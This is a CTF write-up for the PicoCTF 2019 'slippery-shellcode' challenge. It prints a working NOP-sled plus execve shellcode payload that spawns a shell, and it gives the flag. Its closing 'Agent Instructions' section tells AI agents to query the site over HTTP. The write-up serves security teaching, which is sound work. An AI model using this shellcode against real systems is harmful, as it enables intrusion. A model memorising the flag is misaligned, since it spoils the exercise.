# slippery-shellcode ## Problem > This program is a little bit more tricky. Can you spawn a shell and use that to read the flag.txt? You can find the program in /problems/slippery-shellcode\_5\_5cea4ae04c57923484bda350da9f4015 on the shell server. Source. * [Program](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/slippery-shellcode/vuln/README.md) * [Source](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/slippery-shellcode/vuln.c) ## Solution 1. Get some quality shellcode from [ShellStorm](http://shell-storm.org/shellcode/) 2. I used `Linux/x86 - execve(/bin/bash, [/bin/sh, -p], NULL) - 33 bytes by Jonathan Salwan` at 3. The buffer is 512 bytes so buffer\_size-payload\_size=no\_op\_sled\_size: `512-33=479` 4. Create payload ``` (python2 -c "print '\x90'*479 + '\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80'" ; cat) | ./vuln ``` 1. Run `cat flag.txt` ### Flag `picoCTF{sl1pp3ry_sh311c0d3_ecc37b22}` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://picoctf2019.haydenhousen.com/binary-exploitation/slippery-shellcode.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.